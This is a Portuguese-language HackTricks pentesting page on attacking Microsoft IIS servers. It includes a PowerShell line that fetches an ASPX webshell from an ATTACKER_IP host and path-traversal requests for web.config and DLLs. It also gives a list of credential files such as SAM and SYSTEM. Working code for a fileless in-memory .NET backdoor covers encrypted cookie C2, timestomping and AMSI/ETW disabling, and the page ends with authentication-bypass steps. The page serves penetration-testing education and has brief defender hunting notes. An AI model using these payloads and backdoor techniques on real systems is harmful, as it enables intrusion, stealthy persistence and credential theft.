IIS - Internet Information Services

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Extensões de arquivos executáveis de teste:

  • asp
  • aspx
  • config
  • php

Webroot gravável → ASPX command shell

Se um usuário/grupo de baixo privilégio tiver acesso de escrita a C:\inetpub\wwwroot, você pode colocar um webshell ASPX e executar comandos do SO como a identidade do application pool (frequentemente com SeImpersonatePrivilege).

  • Verifique as ACLs: icacls C:\inetpub\wwwroot ou cacls . procurando (F) no seu usuário/grupo.
  • Faça upload de um webshell de comando (por exemplo, fuzzdb/tennc cmd.aspx) usando PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Faça uma requisição a /shell.aspx e execute comandos; a identidade normalmente aparece como iis apppool\defaultapppool.
  • Combine com Potato-family LPE (por exemplo, GodPotato/SigmaPotato) quando o token do AppPool tiver SeImpersonatePrivilege para pivot to SYSTEM.

Divulgação do endereço IP interno

Em qualquer servidor IIS onde você receber um 302, você pode tentar remover o Host header e usar HTTP/1.0; dentro da resposta o Location header pode apontar para o endereço IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Resposta divulgando o IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding any extension, the files that need it have it already.

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

As summary, there are several web.config files inside the folders of the application with references to “assemblyIdentity” files and “namespaces”. With this information it’s possible to know where are executables located and download them.
From the downloaded Dlls it’s also possible to find new namespaces where you should try to access and get the web.config file in order to find new namespaces and assemblyIdentity.
Also, the files connectionstrings.config and global.asax may contain interesting information.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through “assemblyIdentity” XML tags.

Exploring Binary Files

An example of accessing the web.config file is shown below:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Esta requisição revela várias configurações e dependências, tais como:

  • EntityFramework version
  • AppSettings for webpages, client validation, and JavaScript
  • System.web configurations for authentication and runtime
  • System.webServer modules settings
  • Runtime assembly bindings for numerous libraries like Microsoft.Owin, Newtonsoft.Json, and System.Web.Mvc

Essas configurações indicam que certos arquivos, como /bin/WebGrease.dll, estão localizados na pasta /bin da aplicação.

Arquivos do Diretório Raiz

Arquivos encontrados no diretório raiz, como /global.asax e /connectionstrings.config (que contém senhas sensíveis), são essenciais para a configuração e operação da aplicação.

Namespaces and Web.Config

Aplicações MVC também definem adicionais web.config files para namespaces específicos, para evitar declarações repetitivas em cada arquivo, como demonstrado com uma requisição para baixar outro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Baixando DLLs

A menção de um namespace personalizado indica uma DLL chamada “WebApplication1” presente no diretório /bin. Em seguida, é mostrada uma requisição para baixar a WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Isso sugere a presença de outras DLLs essenciais, como System.Web.Mvc.dll e System.Web.Optimization.dll, no diretório /bin.

Em um cenário em que uma DLL importa um namespace chamado WebApplication1.Areas.Minded, um atacante pode inferir a existência de outros arquivos web.config em caminhos previsíveis, como /area-name/Views/, contendo configurações específicas e referências a outras DLLs na pasta /bin. Por exemplo, uma requisição para /Minded/Views/web.config pode revelar configurações e namespaces que indicam a presença de outra DLL, WebApplication1.AdditionalFeatures.dll.

Arquivos comuns

A partir de here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 Erro 404

Se você vir um erro como o seguinte:

Isso significa que o servidor não recebeu o nome de domínio correto dentro do Host header.
Para acessar a página web você pode verificar o SSL Certificate servido e talvez encontre o nome do domínio/subdomínio nele. Se não estiver lá, pode ser necessário brute force VHosts até encontrar o correto.

Descriptografar configuração criptografada e ASP.NET Core Data Protection key rings

Dois padrões comuns para proteger segredos em apps .NET hospedados no IIS são:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) para seções de web.config como .
  • ASP.NET Core Data Protection key ring (persistido localmente) usado para proteger segredos da aplicação e cookies.

Se você tem acesso ao filesystem ou acesso interativo no servidor web, chaves co-localizadas frequentemente permitem a decriptação.

  • ASP.NET (Full Framework) – descriptografar seções de config protegidas com aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – procure por Data Protection key rings armazenados localmente (arquivos XML/JSON) em locais como:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registro)
  • Pasta gerenciada pela aplicação (por exemplo, App_Data\keys ou um diretório Keys ao lado da aplicação)

Com o key ring disponível, um operador executando com a identidade da aplicação pode instanciar um IDataProtector com os mesmos purposes e chamar Unprotect sobre segredos armazenados. Misconfigurações que armazenam o key ring junto com os arquivos da aplicação tornam a descriptografia offline trivial assim que o host é comprometido.

IIS fileless backdoors e in-memory .NET loaders (NET-STAR style)

O toolkit Phantom Taurus/NET-STAR demonstra um padrão maduro para fileless IIS persistence e post‑exploitation inteiramente dentro de w3wp.exe. As ideias centrais são amplamente reutilizáveis para custom tradecraft e para detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: uma única página .aspx (e.g., OutlookEN.aspx) carrega uma .NET DLL Base64‑encoded, optionally Gzip‑compressed. Upon a trigger request ela decodifica, descomprime e reflectively loads a DLL no AppDomain atual e invoca o ponto de entrada principal (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results são embrulhados com Gzip → AES‑ECB/PKCS7 → Base64 e transportados via requests aparentemente legítimos com muitos cookies; operadores usavam delimitadores estáveis (e.g., “STAR”) para chunking.
  • Reflective .NET execution: aceita assemblies managed arbitrárias em Base64, carrega via Assembly.Load(byte[]) e passa operator args para trocas rápidas de módulos sem tocar o disco.
  • Operating in precompiled ASP.NET sites: adiciona/gerencia shells/backdoors auxiliares mesmo quando o site está precompilado (e.g., dropper adiciona páginas/handlers dinâmicos ou aproveita config handlers) – exposto por comandos como bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expõe uma ação changeLastModified e timestomps no deployment (incluindo timestamps de compilação futuros) para dificultar DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: um loader de segunda‑fase pode desabilitar AMSI e ETW antes de chamar Assembly.Load para reduzir a inspeção de payloads in‑memory.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Utilitários de empacotamento/cripto (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Fluxo de Cookie/session e superfície de comandos

  • Session bootstrap e tasking são carregados via cookies para se misturar com a atividade web normal.
  • Comandos observados em situações reais incluíam: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; e primitivas de execução dinâmica code_self, code_pid, run_code para in‑memory .NET execution.

Utilitário Timestomping

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Desativação inline do AMSI/ETW antes de Assembly.Load (variante loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

Veja AMSI/ETW bypass techniques em: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Página ASPX única e estranha com blobs Base64/Gzip muito longos; requisições POST com muitos cookies.
  • Módulos managed não respaldados dentro de w3wp.exe; strings como Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Delimitadores repetidos como “STAR” no tráfego; timestamps incompatíveis ou até futuros em ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Many ASP.NET apps embed Telerik UI for ASP.NET AJAX and expose the unauthenticated handler Telerik.Web.UI.WebResource.axd. When the Image Editor cache endpoint is reachable (type=iec), the parameters dkey=1 and prtype enable unsafe reflection that executes any public parameterless constructor pre‑auth. This yields a universal DoS primitive and can escalate to pre‑auth RCE on apps with insecure AppDomain.AssemblyResolve handlers.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

You can try to enumerate folders and files inside every discovered folder (even if it’s requiring Basic Authentication) using this technique.
The main limitation of this technique if the server is vulnerable is that it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension of the files.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Pesquisa original: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Você também pode usar metasploit: use scanner/http/iis_shortname_scanner

Uma boa ideia para encontrar o nome final dos arquivos descobertos é perguntar a LLMs por opções, como é feito no script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a Basic Authentication (IIS 7.5) tentando acessar: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

Você pode tentar misturar esta vulnerabilidade e a última para encontrar novas pastas e bypass a autenticação.

ASP.NET Trace.AXD enabled debugging

O ASP.NET inclui um modo de depuração e seu arquivo se chama trace.axd.

Ele mantém um log muito detalhado de todas as requisições feitas a uma aplicação durante um período de tempo.

Essas informações incluem IPs remotos dos clientes, IDs de sessão, todos os cookies de requisição e resposta, caminhos físicos, informações de código-fonte, e potencialmente até nomes de usuário e senhas.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH usa as seguintes informações:

  • validationKey (string): chave codificada em hex para validação de assinatura.
  • decryptionMethod (string): (padrão “AES”).
  • decryptionIV (string): vetor de inicialização codificado em hex (por padrão um vetor de zeros).
  • decryptionKey (string): chave codificada em hex para decriptação.

No entanto, algumas pessoas usarão os valores padrão desses parâmetros e usarão como cookie o email do usuário. Portanto, se você encontrar um site usando a mesma plataforma que esteja usando o cookie ASPXAUTH e você criar um usuário com o email do usuário que deseja se passar no servidor atacado, você pode ser capaz de usar o cookie do segundo servidor no primeiro e se passar pelo usuário.
Esse ataque funcionou neste writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: A bug in the code didn’t properly check for the password given by the user, so an attacker whose password hash hits a key that is already in the cache will be able to login as that user .

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks